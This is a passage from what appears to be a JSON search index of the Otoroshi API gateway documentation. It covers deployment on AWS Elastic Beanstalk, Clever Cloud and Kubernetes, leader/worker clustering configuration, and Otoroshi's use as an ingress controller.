**Get started**.\n\n@@@ div { .centered-img }\n\n@@@ \n \nKeep the default selected value **Request a public certificate** and hit **Request a certificate**.\n \n@@@ div { .centered-img }\n\n@@@ \n\nPut your **Domain name**, use *. for wildcard, for instance *\\*.mysubdomain.oto.tools*, then hit **Next**.\n\n@@@ div { .centered-img }\n\n@@@ \n\nYou can choose between **Email validation** and **DNS validation**, I'd recommend **DNS validation**, then hit **Review**. \n \n@@@ div { .centered-img }\n\n@@@ \n \nVerify that you did put the right **Domain name** then hit **Confirm and request**. \n\n@@@ div { .centered-img }\n\n@@@\n \nAs you see in the image above, to let Amazon do the validation you have to add the `CNAME` record to your DNS configuration. Normally this operation takes around one day.\n \n### Configure Otoroshi AWS Elastic Beanstalk instance with the SSL certificate \n\nOnce the certificate is validated, you need to modify the configuration of Otoroshi-env to add the SSL certificate for HTTPS. \nFor that you need to go to [AWS Elastic Beanstalk applications](https://eu-west-3.console.aws.amazon.com/elasticbeanstalk/home?region=eu-west-3#/applications),\nhit **Otoroshi-env**, then on the left side hit **Configuration**, then on the **Load balancer** card hit **Modify**.\n\n@@@ div { .centered-img }\n\n@@@\n\nIn the **Application Load Balancer** section hit **Add listener**.\n\n@@@ div { .centered-img }\n\n@@@\n\nFill the popup as the image above, then hit **Add**. \n\nYou should now be seeing something like this : \n \n@@@ div { .centered-img }\n\n@@@ \n \n \nMake sure that your listener is enabled, and on the bottom right of the page hit **Apply**.\n\nNow you have **https**, so let's use Otoroshi.\n\n### Configure your DNS to redirect all traffic on your domain to Otoroshi\n \nIt's actually pretty simple, you just need to add a `CNAME` record to your DNS configuration, that redirects *\\*.mysubdomain.oto.tools* to the DNS name of Otoroshi's load balancer.\n\nTo find the DNS name of Otoroshi's load balancer go to [AWS Ec2](https://eu-west-3.console.aws.amazon.com/ec2/v2/home?region=eu-west-3#LoadBalancers:tag:elasticbeanstalk:environment-name=Otoroshi-env;sort=loadBalancerName)\n\nYou would find something like this : \n \n@@@ div { .centered-img }\n\n@@@ \n\nThere is your DNS name, so add your `CNAME` record. \n \nOnce all these steps are done, the AWS Elastic Beanstalk Otoroshi instance, would now be handling all the requests on your domain. ;) \n" + }, + { + "name": "clever-cloud.md", + "id": "/deploy/clever-cloud.md", + "url": "/deploy/clever-cloud.html", + "title": "Clever-Cloud", + "content": "# Clever-Cloud\n\nNow you want to use Otoroshi on Clever Cloud. Otoroshi has been designed and created to run on Clever Cloud and a lot of choices were made because of how Clever Cloud works.\n\n## Create an Otoroshi instance on CleverCloud\n\nIf you want to customize the configuration @ref:[use env. variables](../install/setup-otoroshi.md#configuration-with-env-variables), you can use [the example provided below](#example-of-clevercloud-env-variables)\n\nCreate a new CleverCloud app based on a clevercloud git repo (not empty) or a github project of your own (not empty).\n\n@@@ div { .centered-img }\n\n@@@\n\nThen choose what kind of app your want to create, for Otoroshi, choose `Java + Jar`\n\n@@@ div { .centered-img }\n\n@@@\n\nNext, set up choose instance size and auto-scalling. Otoroshi can run on small instances, especially if you just want to test it.\n\n@@@ div { .centered-img }\n\n@@@\n\nFinally, choose a name for your app\n\n@@@ div { .centered-img }\n\n@@@\n\nNow you just need to customize environnment variables\n\nat this point, you can also add other env. variables to configure Otoroshi like in [the example provided below](#example-of-clevercloud-env-variables)\n\n@@@ div { .centered-img }\n\n@@@\n\nYou can also use expert mode :\n\n@@@ div { .centered-img }\n\n@@@\n\nNow, your app is ready, don't forget to add a custom domains name on the CleverCloud app matching the Otoroshi app domain. \n\n## Example of CleverCloud env. variables\n\nYou can add more env variables to customize your Otoroshi instance like the following. Use the expert mode to copy/paste all the values in one shot. If you want an real datastore, create a redis addon on clevercloud, link it to your otoroshi app and change the `APP_STORAGE` variable to `redis`\n\n
\n\n
\n```\nADMIN_API_CLIENT_ID=xxxx\nADMIN_API_CLIENT_SECRET=xxxxx\nADMIN_API_GROUP=xxxxxx\nADMIN_API_SERVICE_ID=xxxxxxx\nCLAIM_SHAREDKEY=xxxxxxx\nOTOROSHI_INITIAL_ADMIN_LOGIN=youremailaddress\nOTOROSHI_INITIAL_ADMIN_PASSWORD=yourpassword\nPLAY_CRYPTO_SECRET=xxxxxx\nSESSION_NAME=oto-session\nAPP_DOMAIN=yourdomain.tech\nAPP_ENV=prod\nAPP_STORAGE=inmemory\nAPP_ROOT_SCHEME=https\nCC_PRE_BUILD_HOOK=curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/${latest_otoroshi_version}/otoroshi.jar'\nCC_JAR_PATH=./otoroshi.jar\nCC_JAVA_VERSION=11\nPORT=8080\nSESSION_DOMAIN=.yourdomain.tech\nSESSION_MAX_AGE=604800000\nSESSION_SECURE_ONLY=true\nUSER_AGENT=otoroshi\nMAX_EVENTS_SIZE=1\nWEBHOOK_SIZE=100\nAPP_BACKOFFICE_SESSION_EXP=86400000\nAPP_PRIVATEAPPS_SESSION_EXP=86400000\nENABLE_METRICS=true\nOTOROSHI_ANALYTICS_PRESSURE_ENABLED=true\nUSE_CACHE=true\n```\n
" + }, + { + "name": "clustering.md", + "id": "/deploy/clustering.md", + "url": "/deploy/clustering.html", + "title": "Otoroshi clustering", + "content": "# Otoroshi clustering\n\nOtoroshi can work as a cluster by default as you can spin many Otoroshi servers using the same datastore or datastore cluster. In that case any instance is capable of serving services, Otoroshi admin UI, Otoroshi admin API, etc.\n\nBut sometimes, this is not enough. So Otoroshi provides an additional clustering model named `Leader / Workers` where there is a leader cluster ([control plane](https://en.wikipedia.org/wiki/Control_plane)), composed of Otoroshi instances backed by a datastore like Redis, PostgreSQL or Cassandra, that is in charge of all `writes` to the datastore through Otoroshi admin UI and API, and a worker cluster ([data plane](https://en.wikipedia.org/wiki/Forwarding_plane)) composed of horizontally scalable Otoroshi instances, backed by a super fast in memory datastore, with the sole purpose of routing traffic to your services based on data synced from the leader cluster. With this distributed Otoroshi version, you can reach your goals of high availability, scalability and security.\n\nOtoroshi clustering only uses http internally (right now) to make communications between leaders and workers instances so it is fully compatible with PaaS providers like [Clever-Cloud](https://www.clever-cloud.com/en/) that only provide one external port for http traffic.\n\n@@@ div { .centered-img }\n\n\n*Fig. 1: Simplified view*\n@@@\n\n@@@ div { .centered-img }\n\n\n*Fig. 2: Deployment view*\n@@@\n\n## Cluster configuration\n\n```hocon\notoroshi {\n cluster {\n mode = \"leader\" # can be \"off\", \"leader\", \"worker\"\n compression = 4 # compression of the data sent between leader cluster and worker cluster. From -1 (disabled) to 9\n leader {\n name = ${?CLUSTER_LEADER_NAME} # name of the instance, if none, it will be generated\n urls = [\"http://127.0.0.1:8080\"] # urls to contact the leader cluster\n host = \"otoroshi-api.oto.tools\" # host of the otoroshi api in the leader cluster\n clientId = \"apikey-id\" # otoroshi api client id\n clientSecret = \"secret\" # otoroshi api client secret\n cacheStateFor = 4000 # state is cached during (ms)\n }\n worker {\n name = ${?CLUSTER_WORKER_NAME} # name of the instance, if none, it will be generated\n retries = 3 # number of retries when calling leader cluster\n timeout = 2000 # timeout when calling leader cluster\n state {\n retries = ${otoroshi.cluster.worker.retries} # number of retries when calling leader cluster on state sync\n pollEvery = 10000 # interval of time (ms) between 2 state sync\n timeout = ${otoroshi.cluster.worker.timeout} # timeout when calling leader cluster on state sync\n }\n quotas {\n retries = ${otoroshi.cluster.worker.retries} # number of retries when calling leader cluster on quotas sync\n pushEvery = 2000 # interval of time (ms) between 2 quotas sync\n timeout = ${otoroshi.cluster.worker.timeout} # timeout when calling leader cluster on quotas sync\n }\n }\n }\n}\n```\n\nyou can also use many env. variables to configure Otoroshi cluster\n\n```hocon\notoroshi {\n cluster {\n mode = ${?CLUSTER_MODE}\n compression = ${?CLUSTER_COMPRESSION}\n leader {\n name = ${?CLUSTER_LEADER_NAME}\n host = ${?CLUSTER_LEADER_HOST}\n url = ${?CLUSTER_LEADER_URL}\n clientId = ${?CLUSTER_LEADER_CLIENT_ID}\n clientSecret = ${?CLUSTER_LEADER_CLIENT_SECRET}\n groupingBy = ${?CLUSTER_LEADER_GROUP_BY}\n cacheStateFor = ${?CLUSTER_LEADER_CACHE_STATE_FOR}\n stateDumpPath = ${?CLUSTER_LEADER_DUMP_PATH}\n }\n worker {\n name = ${?CLUSTER_WORKER_NAME}\n retries = ${?CLUSTER_WORKER_RETRIES}\n timeout = ${?CLUSTER_WORKER_TIMEOUT}\n state {\n retries = ${?CLUSTER_WORKER_STATE_RETRIES}\n pollEvery = ${?CLUSTER_WORKER_POLL_EVERY}\n timeout = ${?CLUSTER_WORKER_POLL_TIMEOUT}\n }\n quotas {\n retries = ${?CLUSTER_WORKER_QUOTAS_RETRIES}\n pushEvery = ${?CLUSTER_WORKER_PUSH_EVERY}\n timeout = ${?CLUSTER_WORKER_PUSH_TIMEOUT}\n }\n }\n }\n}\n```\n\n@@@ warning\nYou **should** use HTTPS exposition for the Otoroshi API that will be used for data sync as sensitive informations are exchanged between control plane and data plane.\n@@@\n\n@@@ warning\nYou **must** have the same cluster configuration on every Otoroshi instance (worker/leader) with only names and mode changed for each instance. Some things in leader/worker are computed using configuration of their counterpart worker/leader.\n@@@\n\n## Cluster UI\n\nOnce an Otoroshi instance is launcher as cluster Leader, a new row of live metrics tile will be available on the home page of Otoroshi admin UI.\n\n@@@ div { .centered-img }\n\n@@@\n\nyou can also access a more detailed view of the cluster at `Settings (cog icon) / Cluster View`\n\n@@@ div { .centered-img }\n\n@@@\n\n## Run examples\n\nfor leader \n\n```sh\njava -Dhttp.port=8091 -Dhttps.port=9091 -Dotoroshi.cluster.mode=leader -jar otoroshi.jar\n```\n\nfor worker\n\n```sh\njava -Dhttp.port=8092 -Dhttps.port=9092 -Dotoroshi.cluster.mode=worker \\\n -Dotoroshi.cluster.leader.urls.0=http://127.0.0.1:8091 -jar otoroshi.jar\n```\n\n## Setup a cluster by example\n\nif you want to see how to setup an otoroshi cluster, just check @ref:[the clustering tutorial](../how-to-s/setup-otoroshi-cluster.md)" + }, + { + "name": "index.md", + "id": "/deploy/index.md", + "url": "/deploy/index.html", + "title": "Deploy to production", + "content": "# Deploy to production\n\nNow it's time to deploy Otoroshi in production, in this chapter we will see what kind of things you can do.\n\nOtoroshi can run wherever you want, even on a raspberry pi (Cluster^^) ;)\n\n@@@div { .plugin .platform }\n\n## Cloud APIM\n\nCloud APIM provides Otoroshi instances as a service. You can easily create production ready Otoroshi clusters in just a few clics.\n\n\n[Documentation](https://www.cloud-apim.com/)\n@@@\n\n@@@div { .plugin .platform }\n\n## Clever Cloud\n\nOtoroshi provides an integration to create easily services based on application deployed on your Clever Cloud account.\n\n\n@ref:[Documentation](./clever-cloud.md)\n@@@\n\n@@@div { .plugin .platform } \n## Kubernetes\nStarting at version 1.5.0, Otoroshi provides a native Kubernetes support.\n\n\n\n@ref:[Documentation](./kubernetes.md)\n@@@\n\n@@@div { .plugin .platform } \n## AWS Elastic Beanstalk\n\nRun Otoroshi on AWS Elastic Beanstalk\n\n\n\n@ref:[Tutorial](./aws.md)\n@@@\n\n@@@div { .plugin .platform } \n## Amazon ECS\n\nDeploy the Otoroshi Docker image using Amazon Elastic Container Service\n\n\n\n@link:[Tutorial](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/docker-basics.html)\n@ref:[Docker image](../install/get-otoroshi.md#from-docker)\n\n@@@\n\n@@@div { .plugin .platform }\n## GCE\n\nDeploy the Docker image using Google Compute Engine container integration\n\n\n\n@link:[Documentation](https://cloud.google.com/compute/docs/containers/deploying-containers)\n@ref:[Docker image](../install/get-otoroshi.md#from-docker)\n\n@@@\n\n@@@div { .plugin .platform } \n## Azure\n\nDeploy the Docker image using Azure Container Service\n\n\n\n@link:[Documentation](https://azure.microsoft.com/en-us/services/container-service/)\n@ref:[Docker image](../install/get-otoroshi.md#from-docker) \n@@@\n\n@@@div { .plugin .platform } \n## Heroku\n\nDeploy the Docker image using Docker integration\n\n\n\n@link:[Documentation](https://devcenter.heroku.com/articles/container-registry-and-runtime)\n@ref:[Docker image](../install/get-otoroshi.md#from-docker)\n@@@\n\n@@@div { .plugin .platform } \n## CloudFoundry\n\nDeploy the Docker image using -Docker integration\n\n\n\n@link:[Documentation](https://docs.cloudfoundry.org/adminguide/docker.html)\n@ref:[Docker image](../install/get-otoroshi.md#from-docker)\n@@@\n\n@@@div { .plugin .platform .platform-actions-column } \n## Your own infrastructure\n\nAs Otoroshi is a Play Framework application, you can read the doc about putting a `Play` app in production.\n\nDownload the latest Otoroshi distribution, unzip it, customize it and run it.\n\n@link:[Play Framework](https://www.playframework.com)\n@link:[Production Configuration](https://www.playframework.com/documentation/2.6.x/ProductionConfiguration)\n@ref:[Otoroshi distribution](../install/get-otoroshi.md#from-zip)\n@@@\n\n@@@div { .break }\n## Scaling and clustering in production\n@@@\n\n\n@@@div { .plugin .platform .dark-platform } \n## Clustering\n\nDeploy Otoroshi as a cluster of leaders and workers.\n\n\n@ref:[Documentation](./clustering.md)\n@@@\n\n@@@div { .plugin .platform .dark-platform } \n## Scaling Otoroshi\n\nOtoroshi is designed to be reasonably easy to scale and be highly available.\n\n\n@ref:[Documentation](./scaling.md) \n@@@\n\n@@@ index\n\n* [Clustering](./clustering.md)\n* [Kubernetes](./kubernetes.md)\n* [Clever Cloud](./clever-cloud.md)\n* [AWS - Elastic Beanstalk](./aws.md)\n* [Scaling](./scaling.md) \n\n@@@\n" + }, + { + "name": "kubernetes.md", + "id": "/deploy/kubernetes.md", + "url": "/deploy/kubernetes.html", + "title": "Kubernetes", + "content": "# Kubernetes\n\nStarting at version 1.5.0, Otoroshi provides a native Kubernetes support. Multiple otoroshi jobs (that are actually kubernetes controllers) are provided in order to\n\n- sync kubernetes secrets of type `kubernetes.io/tls` to otoroshi certificates\n- act as a standard ingress controller (supporting `Ingress` objects)\n- provide Custom Resource Definitions (CRDs) to manage Otoroshi entities from Kubernetes and act as an ingress controller with its own resources\n\n## Installing otoroshi on your kubernetes cluster\n\n@@@ warning\nYou need to have cluster admin privileges to install otoroshi and its service account, role mapping and CRDs on a kubernetes cluster. We also advise you to create a dedicated namespace (you can name it `otoroshi` for example) to install otoroshi\n@@@\n\nIf you want to deploy otoroshi into your kubernetes cluster, you can download the deployment descriptors from https://github.com/MAIF/otoroshi/tree/master/kubernetes and use kustomize to create your own overlay.\n\nYou can also create a `kustomization.yaml` file with a remote base\n\n```yaml\nbases:\n- github.com/MAIF/otoroshi/kubernetes/kustomize/overlays/simple/?ref=v16.15.4\n```\n\nThen deploy it with `kubectl apply -k ./overlays/myoverlay`. \n\nYou can also use Helm to deploy a simple otoroshi cluster on your kubernetes cluster\n\n```sh\nhelm repo add otoroshi https://maif.github.io/otoroshi/helm\nhelm install my-otoroshi otoroshi/otoroshi\n```\n\nBelow, you will find example of deployment. Do not hesitate to adapt them to your needs. Those descriptors have value placeholders that you will need to replace with actual values like \n\n```yaml\n env:\n - name: APP_STORAGE_ROOT\n value: otoroshi\n - name: APP_DOMAIN\n value: ${domain}\n```\n\nyou will have to edit it to make it look like\n\n```yaml\n env:\n - name: APP_STORAGE_ROOT\n value: otoroshi\n - name: APP_DOMAIN\n value: 'apis.my.domain'\n```\n\nif you don't want to use placeholders and environment variables, you can create a secret containing the configuration file of otoroshi\n\n```yaml\napiVersion: v1\nkind: Secret\nmetadata:\n name: otoroshi-config\ntype: Opaque\nstringData:\n oto.conf: >\n include \"application.conf\"\n app {\n storage = \"redis\"\n domain = \"apis.my.domain\"\n }\n```\n\nand mount it in the otoroshi container\n\n```yaml\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n name: otoroshi-deployment\nspec:\n selector:\n matchLabels:\n run: otoroshi-deployment\n template:\n metadata:\n labels:\n run: otoroshi-deployment\n spec:\n serviceAccountName: otoroshi-admin-user\n terminationGracePeriodSeconds: 60\n hostNetwork: false\n containers:\n - image: maif/otoroshi:16.15.4\n imagePullPolicy: IfNotPresent\n name: otoroshi\n args: ['-Dconfig.file=/usr/app/otoroshi/conf/oto.conf']\n ports:\n - containerPort: 8080\n name: \"http\"\n protocol: TCP\n - containerPort: 8443\n name: \"https\"\n protocol: TCP\n volumeMounts:\n - name: otoroshi-config\n mountPath: \"/usr/app/otoroshi/conf\"\n readOnly: true\n volumes:\n - name: otoroshi-config\n secret:\n secretName: otoroshi-config\n ...\n```\n\nYou can also create several secrets for each placeholder, mount them to the otoroshi container then use their file path as value\n\n```yaml\n env:\n - name: APP_STORAGE_ROOT\n value: otoroshi\n - name: APP_DOMAIN\n value: 'file:///the/path/of/the/secret/file'\n```\n\nyou can use the same trick in the config. file itself\n\n### Note on bare metal kubernetes cluster installation\n\n@@@ note\nBare metal kubernetes clusters don't come with support for external loadbalancers (service of type `LoadBalancer`). So you will have to provide this feature in order to route external TCP traffic to Otoroshi containers running inside the kubernetes cluster. You can use projects like [MetalLB](https://metallb.universe.tf/) that provide software `LoadBalancer` services to bare metal clusters or you can use and customize examples below.\n@@@\n\n@@@ warning\nWe don't recommand running Otoroshi behind an existing ingress controller (or something like that) as you will not be able to use features like TCP proxying, TLS, mTLS, etc. Also, this additional layer of reverse proxy will increase call latencies.\n@@@\n\n### Common manifests\n\nthe following manifests are always needed. They create otoroshi CRDs, tokens, role, etc. Redis deployment is not mandatory, it's just an example. You can use your own existing setup.\n\nrbac.yaml\n: @@snip [rbac.yaml](../snippets/kubernetes/kustomize/base/rbac.yaml) \n\ncrds.yaml\n: @@snip [crds.yaml](../snippets/kubernetes/kustomize/base/crds.yaml) \n\nredis.yaml\n: @@snip [redis.yaml](../snippets/kubernetes/kustomize/base/redis.yaml) \n\n\n### Deploy a simple otoroshi instanciation on a cloud provider managed kubernetes cluster\n\nHere we have 2 replicas connected to the same redis instance. Nothing fancy. We use a service of type `LoadBalancer` to expose otoroshi to the rest of the world. You have to setup your DNS to bind otoroshi domain names to the `LoadBalancer` external `CNAME` (see the example below)\n\ndeployment.yaml\n: @@snip [deployment.yaml](../snippets/kubernetes/kustomize/overlays/simple/deployment.yaml) \n\ndns.example\n: @@snip [dns.example](../snippets/kubernetes/kustomize/overlays/simple/dns.example) \n\n### Deploy a simple otoroshi instanciation on a bare metal kubernetes cluster\n\nHere we have 2 replicas connected to the same redis instance. Nothing fancy. The otoroshi instance are exposed as `nodePort` so you'll have to add a loadbalancer in front of your kubernetes nodes to route external traffic (TCP) to your otoroshi instances. You have to setup your DNS to bind otoroshi domain names to your loadbalancer (see the example below). \n\ndeployment.yaml\n: @@snip [deployment.yaml](../snippets/kubernetes/kustomize/overlays/simple-baremetal/deployment.yaml) \n\nhaproxy.example\n: @@snip [haproxy.example](../snippets/kubernetes/kustomize/overlays/simple-baremetal/haproxy.example) \n\nnginx.example\n: @@snip [nginx.example](../snippets/kubernetes/kustomize/overlays/simple-baremetal/nginx.example) \n\ndns.example\n: @@snip [dns.example](../snippets/kubernetes/kustomize/overlays/simple-baremetal/dns.example) \n\n\n### Deploy a simple otoroshi instanciation on a bare metal kubernetes cluster using a DaemonSet\n\nHere we have one otoroshi instance on each kubernetes node (with the `otoroshi-kind: instance` label) with redis persistance. The otoroshi instances are exposed as `hostPort` so you'll have to add a loadbalancer in front of your kubernetes nodes to route external traffic (TCP) to your otoroshi instances. You have to setup your DNS to bind otoroshi domain names to your loadbalancer (see the example below). \n\ndeployment.yaml\n: @@snip [deployment.yaml](../snippets/kubernetes/kustomize/overlays/simple-baremetal-daemonset/deployment.yaml) \n\nhaproxy.example\n: @@snip [haproxy.example](../snippets/kubernetes/kustomize/overlays/simple-baremetal-daemonset/haproxy.example) \n\nnginx.example\n: @@snip [nginx.example](../snippets/kubernetes/kustomize/overlays/simple-baremetal-daemonset/nginx.example) \n\ndns.example\n: @@snip [dns.example](../snippets/kubernetes/kustomize/overlays/simple-baremetal-daemonset/dns.example) \n\n### Deploy an otoroshi cluster on a cloud provider managed kubernetes cluster\n\nHere we have 2 replicas of an otoroshi leader connected to a redis instance and 2 replicas of an otoroshi worker connected to the leader. We use a service of type `LoadBalancer` to expose otoroshi leader/worker to the rest of the world. You have to setup your DNS to bind otoroshi domain names to the `LoadBalancer` external `CNAME` (see the example below)\n\ndeployment.yaml\n: @@snip [deployment.yaml](../snippets/kubernetes/kustomize/overlays/cluster/deployment.yaml) \n\ndns.example\n: @@snip [dns.example](../snippets/kubernetes/kustomize/overlays/cluster/dns.example) \n\n### Deploy an otoroshi cluster on a bare metal kubernetes cluster\n\nHere we have 2 replicas of otoroshi leader connected to the same redis instance and 2 replicas for otoroshi worker. The otoroshi instances are exposed as `nodePort` so you'll have to add a loadbalancer in front of your kubernetes nodes to route external traffic (TCP) to your otoroshi instances. You have to setup your DNS to bind otoroshi domain names to your loadbalancer (see the example below). \n\ndeployment.yaml\n: @@snip [deployment.yaml](../snippets/kubernetes/kustomize/overlays/cluster-baremetal/deployment.yaml) \n\nnginx.example\n: @@snip [nginx.example](../snippets/kubernetes/kustomize/overlays/cluster-baremetal/nginx.example) \n\ndns.example\n: @@snip [dns.example](../snippets/kubernetes/kustomize/overlays/cluster-baremetal/dns.example) \n\ndns.example\n: @@snip [dns.example](../snippets/kubernetes/kustomize/overlays/cluster-baremetal/dns.example) \n\n### Deploy an otoroshi cluster on a bare metal kubernetes cluster using DaemonSet\n\nHere we have 1 otoroshi leader instance on each kubernetes node (with the `otoroshi-kind: leader` label) connected to the same redis instance and 1 otoroshi worker instance on each kubernetes node (with the `otoroshi-kind: worker` label). The otoroshi instances are exposed as `nodePort` so you'll have to add a loadbalancer in front of your kubernetes nodes to route external traffic (TCP) to your otoroshi instances. You have to setup your DNS to bind otoroshi domain names to your loadbalancer (see the example below). \n\ndeployment.yaml\n: @@snip [deployment.yaml](../snippets/kubernetes/kustomize/overlays/cluster-baremetal-daemonset/deployment.yaml) \n\nnginx.example\n: @@snip [nginx.example](../snippets/kubernetes/kustomize/overlays/cluster-baremetal-daemonset/nginx.example) \n\ndns.example\n: @@snip [dns.example](../snippets/kubernetes/kustomize/overlays/cluster-baremetal-daemonset/dns.example) \n\ndns.example\n: @@snip [dns.example](../snippets/kubernetes/kustomize/overlays/cluster-baremetal-daemonset/dns.example) \n\n## Using Otoroshi as an Ingress Controller\n\nIf you want to use Otoroshi as an [Ingress Controller](https://kubernetes.io/fr/docs/concepts/services-networking/ingress/), just go to the danger zone, and in `Global scripts` add the job named `Kubernetes Ingress Controller`.\n\nThen add the following configuration for the job (with your own tweaks of course)\n\n```json\n{\n \"KubernetesConfig\": {\n \"enabled\": true,\n \"endpoint\": \"https://127.0.0.1:6443\",\n \"token\": \"eyJhbGciOiJSUzI....F463SrpOehQRaQ\",\n \"namespaces\": [\n \"*\"\n ]\n }\n}\n```\n\nthe configuration can have the following values \n\n```javascript\n{\n \"KubernetesConfig\": {\n \"endpoint\": \"https://127.0.0.1:6443\", // the endpoint to talk to the kubernetes api, optional\n \"token\": \"xxxx\", // the bearer token to talk to the kubernetes api, optional\n \"userPassword\": \"user:password\", // the user password tuple to talk to the kubernetes api, optional\n \"caCert\": \"/etc/ca.cert\", // the ca cert file path to talk to the kubernetes api, optional\n \"trust\": false, // trust any cert to talk to the kubernetes api, optional\n \"namespaces\": [\"*\"], // the watched namespaces\n \"labels\": [\"label\"], // the watched namespaces\n \"ingressClasses\": [\"otoroshi\"], // the watched kubernetes.io/ingress.class annotations, can be *\n \"defaultGroup\": \"default\", // the group to put services in otoroshi\n \"ingresses\": true, // sync ingresses\n \"crds\": false, // sync crds\n \"kubeLeader\": false, // delegate leader election to kubernetes, to know where the sync job should run\n \"restartDependantDeployments\": true, // when a secret/cert changes from otoroshi sync, restart dependant deployments\n \"templates\": { // template for entities that will be merged with kubernetes entities. can be \"default\" to use otoroshi default templates\n \"service-group\": {},\n \"service-descriptor\": {},\n \"apikeys\": {},\n \"global-config\": {},\n \"jwt-verifier\": {},\n \"tcp-service\": {},\n \"certificate\": {},\n \"auth-module\": {},\n \"data-exporter\": {},\n \"script\": {},\n \"organization\": {},\n \"team\": {},\n \"data-exporter\": {},\n \"routes\": {},\n \"route-compositions\": {},\n \"backends\": {}\n }\n }\n}\n```\n\nIf `endpoint` is not defined, Otoroshi will try to get it from `$KUBERNETES_SERVICE_HOST` and `$KUBERNETES_SERVICE_PORT`.\nIf `token` is not defined, Otoroshi will try to get it from the file at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\nIf `caCert` is not defined, Otoroshi will try to get it from the file at `/var/run/secrets/kubernetes.io/serviceaccount/ca.crt`.\nIf `$KUBECONFIG` is defined, `endpoint`, `token` and `caCert` will be read from the current context of the file referenced by it.\n\nNow you can deploy your first service ;)\n\n### Deploy an ingress route\n\nnow let's say you want to deploy an http service and route to the outside world through otoroshi\n\n```yaml\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n name: http-app-deployment\nspec:\n selector:\n matchLabels:\n run: http-app-deployment\n replicas: 1\n template:\n metadata:\n labels:\n run: http-app-deployment\n spec:\n containers:\n - image: kennethreitz/httpbin\n imagePullPolicy: IfNotPresent\n name: otoroshi\n ports:\n - containerPort: 80\n name: \"http\"\n---\napiVersion: v1\nkind: Service\nmetadata:\n name: http-app-service\nspec:\n ports:\n - port: 8080\n targetPort: http\n name: http\n selector:\n run: http-app-deployment\n---\napiVersion: networking.k8s.io/v1beta1\nkind: Ingress\nmetadata:\n name: http-app-ingress\n annotations:\n kubernetes.io/ingress.class: otoroshi\nspec:\n tls:\n - hosts:\n - httpapp.foo.bar\n secretName: http-app-cert\n rules:\n - host: httpapp.foo.bar\n http:\n paths:\n - path: /\n backend:\n serviceName: http-app-service\n servicePort: 8080\n```\n\nonce deployed, otoroshi will sync with kubernetes and create the corresponding service to route your app. You will be able to access your app with\n\n```sh\ncurl -X GET https://httpapp.foo.bar/get\n```\n\n### Support for Ingress Classes\n\nSince Kubernetes 1.18, you can use `IngressClass` type of manifest to specify which ingress controller you want to use for a deployment (https://kubernetes.io/blog/2020/04/02/improvements-to-the-ingress-api-in-kubernetes-1.18/#extended-configuration-with-ingress-classes). Otoroshi is fully compatible with this new manifest `kind`. To use it, configure the Ingress job to match your controller\n\n```javascript\n{\n \"KubernetesConfig\": {\n ...\n \"ingressClasses\": [\"otoroshi.io/ingress-controller\"],\n ...\n }\n}\n```\n\nthen you have to deploy an `IngressClass` to declare Otoroshi as an ingress controller\n\n```yaml\napiVersion: \"networking.k8s.io/v1beta1\"\nkind: \"IngressClass\"\nmetadata:\n name: \"otoroshi-ingress-controller\"\nspec:\n controller: \"otoroshi.io/ingress-controller\"\n parameters:\n apiGroup: \"proxy.otoroshi.io/v1alpha\"\n kind: \"IngressParameters\"\n name: \"otoroshi-ingress-controller\"\n```\n\nand use it in your `Ingress`\n\n```yaml\napiVersion: networking.k8s.io/v1beta1\nkind: Ingress\nmetadata:\n name: http-app-ingress\nspec:\n ingressClassName: otoroshi-ingress-controller\n tls:\n - hosts:\n - httpapp.foo.bar\n secretName: http-app-cert\n rules:\n - host: httpapp.foo.bar\n http:\n paths:\n - path: /\n backend:\n serviceName: http-app-service\n servicePort: 8080\n```\n\n### Use multiple ingress controllers\n\nIt is of course possible to use multiple ingress controller at the same time (https://kubernetes.io/docs/concepts/services-networking/ingress-controllers/#using-multiple-ingress-controllers) using the annotation `kubernetes.io/ingress.class`. By default, otoroshi reacts to the class `otoroshi`, but you can make it the default ingress controller with the following config\n\n```json\n{\n \"KubernetesConfig\": {\n ...\n \"ingressClass\": \"*\",\n ...\n }\n}\n```\n\n### Supported annotations\n\nif you need to customize the service descriptor behind an ingress rule, you can use some annotations. If you need better customisation, just go to the CRDs part. The following annotations are supported :\n\n- `ingress.otoroshi.io/groups`\n- `ingress.otoroshi.io/group`\n- `ingress.otoroshi.io/groupId`\n- `ingress.otoroshi.io/name`\n- `ingress.otoroshi.io/targetsLoadBalancing`\n- `ingress.otoroshi.io/stripPath`\n- `ingress.otoroshi.io/enabled`\n- `ingress.otoroshi.io/userFacing`\n- `ingress.otoroshi.io/privateApp`\n- `ingress.otoroshi.io/forceHttps`\n- `ingress.otoroshi.io/maintenanceMode`\n- `ingress.otoroshi.io/buildMode`\n- `ingress.otoroshi.io/strictlyPrivate`\n- `ingress.otoroshi.io/sendOtoroshiHeadersBack`\n- `ingress.otoroshi.io/readOnly`\n- `ingress.otoroshi.io/xForwardedHeaders`\n- `ingress.otoroshi.io/overrideHost`\n- `ingress.otoroshi.io/allowHttp10`\n- `ingress.otoroshi.io/logAnalyticsOnServer`\n- `ingress.otoroshi.io/useAkkaHttpClient`\n- `ingress.otoroshi.io/useNewWSClient`\n- `ingress.otoroshi.io/tcpUdpTunneling`\n- `ingress.otoroshi.io/detectApiKeySooner`\n- `ingress.otoroshi.io/letsEncrypt`\n- `ingress.otoroshi.io/publicPatterns`\n- `ingress.otoroshi.io/privatePatterns`\n- `ingress.otoroshi.io/additionalHeaders`\n- `ingress.otoroshi.io/additionalHeadersOut`\n- `ingress.otoroshi.io/missingOnlyHeadersIn`\n- `ingress.otoroshi.io/missingOnlyHeadersOut`\n- `ingress.otoroshi.io/removeHeadersIn`\n- `ingress.otoroshi.io/removeHeadersOut`\n- `ingress.otoroshi.io/headersVerification`\n- `ingress.otoroshi.io/matchingHeaders`\n- `ingress.otoroshi.io/ipFiltering.whitelist`\n- `ingress.otoroshi.io/ipFiltering.blacklist`\n- `ingress.otoroshi.io/api.exposeApi`\n- `ingress.otoroshi.io/api.openApiDescriptorUrl`\n- `ingress.otoroshi.io/healthCheck.enabled`\n- `ingress.otoroshi.io/healthCheck.url`\n- `ingress.otoroshi.io/jwtVerifier.ids`\n- `ingress.otoroshi.io/jwtVerifier.enabled`\n- `ingress.otoroshi.io/jwtVerifier.excludedPatterns`\n- `ingress.otoroshi.io/authConfigRef`\n- `ingress.otoroshi.io/redirection.enabled`\n- `ingress.otoroshi.io/redirection.code`\n- 